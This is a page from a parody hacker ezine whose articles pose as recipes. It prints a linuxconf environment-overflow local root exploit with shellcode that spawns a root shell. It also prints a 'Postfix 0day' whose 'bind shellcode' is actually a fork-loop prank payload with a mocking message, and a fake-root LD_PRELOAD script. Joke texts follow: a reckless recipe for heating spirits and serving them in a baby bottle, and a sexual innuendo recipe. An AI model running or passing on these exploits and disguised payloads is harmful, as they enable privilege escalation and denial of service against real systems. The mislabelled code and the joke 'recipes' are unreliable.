Copy Link
Add to Bookmark
Report

NoCooking issue 0x00 article 0x06

eZine's profile picture
Published in 
NoCooking
 · 4 years ago

  

NoCooking issue 0x00, article 0x06
__ __ _ __ _ ____ _ _ _ __ _
\ \/ /_ __/ |/ \/ |__ | __| / |___ __| |/ \ __/ |_ _ __ _
> <| '_ \ | () | | / / / _` | (_-</ _| | () (_-< | ' \/ _` |
/_/\_\ .__/_|\__/|_|/_/ \__,_|_/__/\__|_|\__//__/_|_||_\__, |
|_| by k4rL0s, Sl33m f4s7 & m1xs0up |___/

Wellcome on our special greetz to the Internationnal Handbook for Cooking
who featured us a l0t 0f 0dayz.

--[ BananaSplit
Here comes a very usefull code to prepare a banana split :
<bananasplit.c>
/* HowTo make a banasplit by the IHC Team
* IHC Stands for Internationnal Handbook for Cooking - Cook Together
* http://0xbadc0de.be/ihc
* Greetz goes to : Maite, Jean Pierre Coffe
* C0d3d by m1xs0up
* COOKING IS NOT A CRIME
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

typedef int liquid;
typedef int vegetable;
typedef int spice;
typedef char *powder;
#define BANANA "/////////////////////tmp/tmp"
#define LEMON "/tmp/tmp.eng"
#define ORANGE "/tmp/tmp.eng/tmp"
#define KIWI "/tmp/tmp.eng/tmp/tmp.eng"
#define getsoup getenv
#define mixsoup setenv
#define toast execve
#define mix strcat
#define clean bzero
#define fill memset
#define water malloc
#define squeeze mkdir
#define drink creat
#define LOT_SUGAR (S_IRWXU|S_IRWXG|S_IRWXO)
#define FREASH (O_WRONLY|O_CREAT|S_IRWXU|S_IRWXG|S_IRWXO)
powder coconuts=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xc0"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
"\x0b\xcd\x80" ;
/*size :33 */
liquid tabasco;
spice salt;

extern powder *environ;


powder prepare_bacon(){
powder soup=(powder)water((liquid)1200);

spice pepper=0;
vegetable zero=0;
liquid tomato=getsoup("BANANA")+10;
liquid zero2=0;
vegetable carrot=getsoup("COCONUTS")+30;
liquid litres=854 + tabasco;
clean(soup,1200);
fill(soup,'A',litres);
for(pepper=0;pepper<2;pepper++)
mix(soup,&tomato);
for(pepper=0;pepper<11;pepper++)
mix(soup,&carrot);
for(pepper=0;pepper<4;pepper++)
mix(soup,&tomato);
for(pepper=0;pepper<1;pepper++)
mix(soup,&carrot);
for(pepper=0;pepper<3;pepper++)
mix(soup,&tomato);
for(pepper=0;pepper<24;pepper++)
mix(soup,&carrot);
for(pepper=0;pepper<salt;pepper++)
mix(soup,"A");
fprintf(stderr,"using %.8lx as BANANA tomato and %.8lx as carrot addr \n",
tomato,carrot);
return soup;
}

int prepare_eggs(liquid milk,powder * concentrated_milk){
mixsoup("COCONUTS",coconuts);
mixsoup("BANANA",BANANA);
mixsoup("LINUXCONF_LANG",prepare_bacon());
toast(concentrated_milk[0],concentrated_milk,environ);
return 0;
}

int main(spice spices,powder * ingredients){
powder menu[]={"./linuxconf",NULL};
if(spices>1)
tabasco=atoi(ingredients[1]);
if(spices>2)
salt=atoi(ingredients[2]);
if(spices>3)
menu[0]=ingredients[3];
if(!getsoup("LINUXCONF_LANG")){
prepare_eggs(spices,ingredients);
}
mixsoup("LINUXCONF_LANG",prepare_bacon());
umask(0);
squeeze(LEMON,LOT_SUGAR);
squeeze(ORANGE,LOT_SUGAR);
drink(KIWI,FREASH);
toast(menu[0],menu,environ);
return 0;
}
</bananasplit.c>


--[ ETpostfix

Now a real 0dayz !!! It gave remote access on nearly every postfix servers !!!
31337 !
<ETpostfix.c>
/*
* Postfix 1.x Heap overflow
* It was designed only against Linux x86
* c0d3d by Sl33m f4s7
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <netdb.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define STDOUT 1
#define STDERR 2
#define GREEN(s) "\033[32m" s "\033[0m"
#define RED(s) "\033[31m" s "\033[0m"
#define BLUE(s) "\033[34m" s "\033[0m"
#define HEADER "\033[34m" "\t\t[ ETpostfix : smash postfix 1.x ]" "\033
[0m\n\n"

char LEET_JUMP[] = "\xeb\x0appssssffff";
/* bind socket shellcode for linux x86. IDS-Safe */
char shellcode[] =
"\x31\xC0\x40\x40\xCD\x80\xEB\xF8\x31\xC0\x31\xDB\x40\xCD\x80"
"\x6D\x77\x61\x68\x61\x68\x61\x68\x2C\x20\x6A\x75\x73\x74\x20"
"\x79\x6F\x75\x20\x73\x75\x63\x6B\x20\x6C\x61\x6D\x65\x72\x73"
"\x20\x79\x6F\x75\x20\x67\x6F\x74\x20\x6F\x77\x6E\x65\x64\x20"
"\x62\x79\x20\x61\x20\x73\x74\x75\x70\x69\x64\x20\x66\x61\x6B"
"\x65\x20\x73\x70\x6C\x6F\x69\x74\x20\x21\x21\x21\x20\x44\x6F"
"\x20\x79\x6F\x75\x20\x72\x65\x61\x6C\x6C\x79\x20\x74\x68\x6F"
"\x75\x67\x68\x20\x77\x65\x20\x77\x65\x72\x65\x20\x67\x6F\x69"
"\x6E\x67\x20\x74\x6F\x20\x67\x69\x76\x65\x20\x79\x6F\x75\x20"
"\x70\x72\x69\x76\x38\x20\x30\x64\x61\x79\x7A\x2C\x20\x79\x6F"
"\x75\x20\x6D\x75\x73\x74\x20\x6B\x69\x64\x64\x69\x6E\x67\x20"
"\x21\x21\x21";
#define UEBER_DUMMY "\xfc\xff\xff\xff\xfc\xff\xff\xff"
char* woody_ovf(char *shellcode){
char *buf;
unsigned int addr;
buf=(char*)malloc(273);
if(!buf) return NULL;
buf[272]=0;
memset(buf,'B',272);
memcpy(buf,shellcode,strlen(shellcode));
memcpy(buf+256,UEBER_DUMMY,8);
addr=0x8049720;
memcpy(buf+264,&addr,4);
addr=0x80498a8;
memcpy(buf+268,&addr,4);
return buf;
}
char* redhat8_ovf(char *shellcode){
char *buf;
unsigned int addr;
buf=(char*)malloc(273);
if(!buf) return NULL;
buf[272]=0;
memset(buf,'B',272);
memcpy(buf,shellcode,strlen(shellcode));
memcpy(buf+256,UEBER_DUMMY,8);
addr=0x8049840;
memcpy(buf+264,&addr,4);
addr=0x80498f4;
memcpy(buf+268,&addr,4);
return buf;
}
char* potato_ovf(char *shellcode){
char *buf;
unsigned int addr;
buf=(char*)malloc(145);
if(!buf) return NULL;
buf[144]=0;
memset(buf,'B',144);
memcpy(buf,shellcode,strlen(shellcode));
memcpy(buf+128,UEBER_DUMMY,8);
addr=0x8049720;
memcpy(buf+136,&addr,4);
addr=0x80497a0;
memcpy(buf+140,&addr,4);
return buf;
}
char* redhat7_ovf(char *shellcode){
char *buf;
unsigned int addr;
buf=(char*)malloc(145);
if(!buf) return NULL;
buf[144]=0;
memset(buf,'B',144);
memcpy(buf,shellcode,strlen(shellcode));
memcpy(buf+128,UEBER_DUMMY,8);
addr=0x8049810;
memcpy(buf+136,&addr,4);
addr=0x80498a4;
memcpy(buf+140,&addr,4);
return buf;
}
struct { char *target; char* (*fct)(); } targetlist[] =
{ {"Debian Woody x86",woody_ovf},{"Debian Potato x86",potato_ovf},
{"Redhat 8 x86",redhat8_ovf},{"Redhat 7.1 x86",redhat7_ovf}, {NULL,NULL} };
char* make_overflow(char *argv1){
char* (*fct)(char*);
char sc[sizeof(LEET_JUMP)+sizeof(shellcode)+1];
int*s=(int*)sc;
int i,j=atoi(argv1);
fct=targetlist[j].fct;
for(i=0;i<sizeof(LEET_JUMP)+sizeof(shellcode)+100;i+=4,s++)
*s=(i<sizeof(LEET_JUMP)-1)?*(int*)&(LEET_JUMP[i]):(i<sizeof(LEET_JUMP)+sizeof(shellcode)-1)?*(int*)&(shellcode[i-sizeof(LEET_JUMP)+1]):(int)(sc);
return fct(sc);
}
void usage(char *prog){
int i;
fprintf(stderr,"[-] usage : %s target host [port]\n",prog);
fprintf(stderr,"targets are :\n");
for(i=0;targetlist[i].target;i++) fprintf(stderr,"\t%d - %s\n",i,targetlist[i].t
arget);
exit(-1);
}
int main(int argc, char **argv)
{
char *ovf; char buf[2048];
struct sockaddr_in a; int s; struct hostent *h;
fprintf(stderr,HEADER);
if(argc<3) usage(argv[0]);
a.sin_port=htons((argc>3)?atoi(argv[3]):25);
a.sin_family=AF_INET;
fprintf(stderr,"[+] resolving %s...\t\t\t",argv[2]);
h=gethostbyname(argv[2]);
if(!h){
fprintf(stderr,RED("FAILED !\n"));
perror("gethostbyname");
exit(-1);
}
fprintf(stderr,GREEN("OK\n"));
a.sin_addr=*(struct in_addr*)h->h_addr;
fprintf(stderr,"\t--> addr =\t\t\t\t");
fprintf(stderr,BLUE("%s\n"),inet_ntoa(a.sin_addr));
fprintf(stderr,"[+] connecting to SMTP server on port %d...\t",ntohs(a.sin_port)
);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
fprintf(stderr,RED("FAILED !\n"));
perror("socket");
exit(-1);
}
if(connect(s,(struct sockaddr*)(&a),sizeof(struct sockaddr_in))<0){
fprintf(stderr,RED("FAILED !\n"));
perror("connect");
exit(-1);
}
fprintf(stderr,GREEN("OK\n"));
fprintf(stderr,"[+] dialoging with ESMTP server\n");
fprintf(stderr,"\t--> writing HELO msg\t\t\t");
write(s,"HELO localhost\r\n",16);
fprintf(stderr,GREEN("OK\n"));
fprintf(stderr,"\t--> preparing overflow\t\t\t");
ovf=make_overflow(argv[1]);
if(!ovf){
fprintf(stderr,RED("FAILED !\n"));
exit(-1);
}
sprintf(buf,"HELP %s\r\n",ovf);
fprintf(stderr,GREEN("OK\n"));
fprintf(stderr,"\t--> sending overflow\t\t\t");
write(s,buf,strlen(buf));
fprintf(stderr,GREEN("OK\n"));
close(s);
fprintf(stderr,BLUE("\n\nNow you should just connect on port 8481 and enjoy :p\n
"
));
return 0;
}
</ETpostfix.c>


---[ ihc-lnx-blaster

Yeah, this new sploit give euid=0 on every lnx box !!! just another 0dayz...
Thx to m1xs0up

<ihc-lnx-blaster.sh>
#!/bin/sh
# cet exploit attaque une vulnerabilité des variables d'environnement
# sous linux
# a utiliser avec precaution
# ne pas distribuer !!
# by m1xs0up
# usage :
# ihc@darkside$ ./exploit.sh
# x - creating lock directory
# x - extracting root.c (text)
# ok programme installe
# compilation ...fabrication de la chaine d'exploit ... ok
# lancement de l'exploit... okenjoy your shell !
# sh-2.05b# id
# uid=0(root) gid=0(root) egid=1000(ihc) groups=1000(ihc)
# sh-2.05b#


save_IFS="${IFS}"
IFS="${IFS}:"
gettext_dir=FAILED
locale_dir=FAILED
first_param="$1"
for dir in $PATH
do
if test "$gettext_dir" = FAILED && test -f $dir/gettext \
&& ($dir/gettext --version >/dev/null 2>&1)
then
set `$dir/gettext --version 2>&1`
if test "$3" = GNU
then
gettext_dir=$dir
fi
fi
if test "$locale_dir" = FAILED && test -f $dir/shar \
&& ($dir/shar --print-text-domain-dir >/dev/null 2>&1)
then
locale_dir=`$dir/shar --print-text-domain-dir`
fi
done
IFS="$save_IFS"
if test "$locale_dir" = FAILED || test "$gettext_dir" = FAILED
then
echo=echo
else
TEXTDOMAINDIR=$locale_dir
export TEXTDOMAINDIR
TEXTDOMAIN=sharutils
export TEXTDOMAIN
echo="$gettext_dir/gettext -s"
fi
if touch -am -t 200112312359.59 $$.touch >/dev/null 2>&1 && test ! -f 200112312359.59 -a -f $$.touch; then
shar_touch='touch -am -t $1$2$3$4$5$6.$7 "$8"'
elif touch -am 123123592001.59 $$.touch >/dev/null 2>&1 && test ! -f 123123592001.59 -a ! -f 123123592001.5 -a -f $$.touch; then
shar_touch='touch -am $3$4$5$6$1$2.$7 "$8"'
elif touch -am 1231235901 $$.touch >/dev/null 2>&1 && test ! -f 1231235901 -a -f $$.touch; then
shar_touch='touch -am $3$4$5$6$2 "$8"'
else
shar_touch=:
echo
$echo 'WARNING: not restoring timestamps. Consider getting and'
$echo "installing GNU \`touch', distributed in GNU File Utilities..."
echo
fi
rm -f 200112312359.59 123123592001.59 123123592001.5 1231235901 $$.touch
#
if mkdir _sh24061; then
$echo 'x -' 'creating lock directory'
else
$echo 'failed to create lock directory'
exit 1
fi
# ============= root.c ==============
if test -f 'root.c' && test "$first_param" != -c; then
$echo 'x -' SKIPPING 'root.c' '(file already exists)'
else
$echo 'x -' extracting 'root.c' '(text)'
sed 's/^X//' << 'SHAR_EOF' > 'root.c' &&
int getuid(){
X return 0;
}
int geteuid(){
X return 0;
}
int setuid(int n){
X return 0;
}
int seteuid(){
X return 0;
}
int getgid(){
X return 0;
}
SHAR_EOF
(set 20 04 04 08 17 35 27 'root.c'; eval "$shar_touch") &&
chmod 0644 'root.c' ||
$echo 'restore of' 'root.c' 'failed'
if ( md5sum --help 2>&1 | grep 'sage: md5sum \[' ) >/dev/null 2>&1 \
&& ( md5sum --version 2>&1 | grep -v 'textutils 1.12' ) >/dev/null; then
md5sum -c << SHAR_EOF >/dev/null 2>&1 \
|| $echo 'root.c:' 'MD5 check failed'
b991d4c688f60a44e077b3dd77fb1109 root.c
SHAR_EOF
else
shar_count="`LC_ALL= LC_CTYPE= LANG= wc -c < 'root.c'`"
test 142 -eq "$shar_count" ||
$echo 'root.c:' 'original size' '142,' 'current size' "$shar_count!"
fi
fi
rm -fr _sh24061

echo "ok programme installe"
echo -n "compilation ..."
gcc -o root.so -shared root.c || (echo "foirage" ; exit 0)
echo -n "fabrication de la chaine d'exploit ... "
export LD_PRELOAD=./root.so
echo "ok"
echo -n "lancement de l'exploit... "
sleep 1
echo -n "ok"
echo "enjoy your shell !"
/bin/sh
rm -f root.c root.so
</ihc-lnx-blaster.sh>

---[ 1337 2oo% alc0h0l c0ckT4iL
The last but not the least, a real cool 0dayz from k4rL0s.

<alcohol.c>
1337 2oo% alc0h0l c0ckT4iL

Y0! alor today on va parlé 1 peu de métage de tronche parcke pour ètre un bon
h4ck3r (je mé dé numérau pour passé lé filtrage 2 la DST ke certain apele NSA
ou mème SNCF) il fo savoir boir po mal pour resté toute lé nuis devan le laptop
a routé dé serveur.


La recète d'ojourdui cé le 1337 2oo% alc0h0l c0ckT4iL, ca fé super mal o ventre
la première foi mé apré on s'y abitu.

Alor dabor lé ingrédien:
0x00000001 biberon de bébé (hijacké celui a votr petit soeur)
0x00001337 cl 2 vodka
0x0BADC0DE g 2 rhum
0xDEADBEEF m.s-1 2 coK
0x1337C0DE F 2 jin
0x69696969 N 2 wisky

lé 0x sa ve dire ke c en hexadecimal, c avec 2 la base 16, avec dé lettre
ke en fait c dé chifres

Pour 7 recète on va commencé par mettre du coca dans le biberon, et apré le
wisky, comme ca on a du wisky Coca. La fo melangé, et pui fair chofé au micro
onde pdt 1337 seconde, é apré vou le sorté é vou mélangé bien for.
Now on va add le jin é le rhum en mème temps, pour ke sa done un méyeur gou.
Oublié po 2 bien mélangé a mesure ke vous versé pour ke sa se mélanje mieu.
Kan vou avé terminé, mété o congélateur jusK se ke sa devienne 1 glasson.
Vou fète chofé la vokda o four termosta 5 pdt 3 minutes (demandé a votre
maman si vou savé po fer marché le four) et fète trempé le glasson dedans
jusK se ki fonde.

Versé tou dan le biberon, é vous pouvé consomé (avec la tétine cé mieu)

Cé assé for mé avec sa g hacké mon colège ct tro easy.

O proch1 numéro je vou explikeré coment on fé lé piza o couscous é a la mente

J'espére ke vous avé émé ma re7, é ke ca vou a apri dé choze. Dézolé pr lé
fotes d'ortografe mé g po le tps 2 corrigé g 1 lameur ki ve me hacké, fo ke je
me vanje.

k4rL0s, le cuisigné ruzé
</alcohol.c>


---[ Last Minute

Oui, on a pecho un 0dayz de m41t3 donc le voila :

<love_cake.c>
Gâteau d'Amour
Ingrédients :
-Un lit chaud
-2 corps différents (préalablement lavé)
-500 grammes de caresses (ou plus)
-50 grammes de baisers (ou plus)
-1 bananes pas trop mure
-2 kiwis
-2 pamplemousses (grosseur à volonté)
-1 four préchauffé à feux doux
Préparation :
-Introduire les 2 corps dans un lit chaud avec 50 grammes ou plus de
baisers
-Enduire la surface des corps avec 500 grammes ou plus de caresses
(en ajouter si pas assez sucré)
-Couvrir ces memes corps, en particulier la bananes jusqu'à saturation
(attention; ne pas faire de blanc en neige) avec la banane!
-Agitez, avec ménagement, les 2 pamplemousses, les faire dorer très
légèrement sans les faire rougir
-Mettre la banane, préalablement chauffé, du bout des doigts dans le
four à température ambiante. Essentiel : laisser les 2 kiwis non pelées
à l'extérieur
-Manoeuvrer la banane très délicatement en va et vient. La sortir de
temps à autre et la retourner, afin de contrôler la cuisson : ceci afin
qu'elle ne perdent pas son jus.
-Extraire le jus de la banane, qui lui, doit rester dans le four.
Retirer celle-ci avec légèreté.
-Pour achever le gâteau, laissez macérer dans les mains ou essuyer le
surplus avec la langue, ceci étant laisser le choix à la cuisinière.
-Laissez refroidir.
-Démouler 9 mois après.
Ne pas omettre de recommencer fréquemment la recette afin d'en savourer
chaque fois davantage le gout.
Transférer cette délicieuse recette à aux moins 7 de vos contacts sinon
jamais vous ne réeusirez à faire ce GÂTEAU D'AMOUR.
</love_cake.c>

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
6 Nov 2024
Thank you! I've corrected the date in the article. However, some websites list January 1980 as the date of death.

guest's profile picture
@guest
5 Nov 2024
Crespi died i april 1982, not january 1980.

guest's profile picture
@guest
4 Nov 2024
In 1955, the explorer Thor Heyerdahl managed to erect a Moai in eighteen days, with the help of twelve natives and using only logs and stone ...

guest's profile picture
@guest
4 Nov 2024
For what unknown reason did our distant ancestors dot much of the surface of the then-known lands with those large stones? Why are such cons ...

guest's profile picture
@guest
4 Nov 2024
The real pyramid mania exploded in 1830. A certain John Taylor, who had never visited them but relied on some measurements made by Colonel H ...

guest's profile picture
@guest
4 Nov 2024
Even with all the modern technologies available to us, structures like the Great Pyramid of Cheops could only be built today with immense di ...

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
2 Nov 2024
In Sardinia, there is a legend known as the Legend of Tirrenide. Thousands of years ago, there was a continent called Tirrenide. It was a l ...

guest's profile picture
@guest
2 Nov 2024
What is certain is that the first Greek geographer to clearly place the Pillars of Hercules at Gibraltar was Eratosthenes (who lived between ...

guest's profile picture
@guest
1 Nov 2024
Disquieting thc drinks has been quite the journey. As someone keen on unpretentious remedies, delving into the in every respect of hemp has ...

guest's profile picture
@guest
29 Oct 2024
hi Good day I am writing to inform you of recent developments that may impact our ongoing operations. This morning, global news outlets hav ...
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT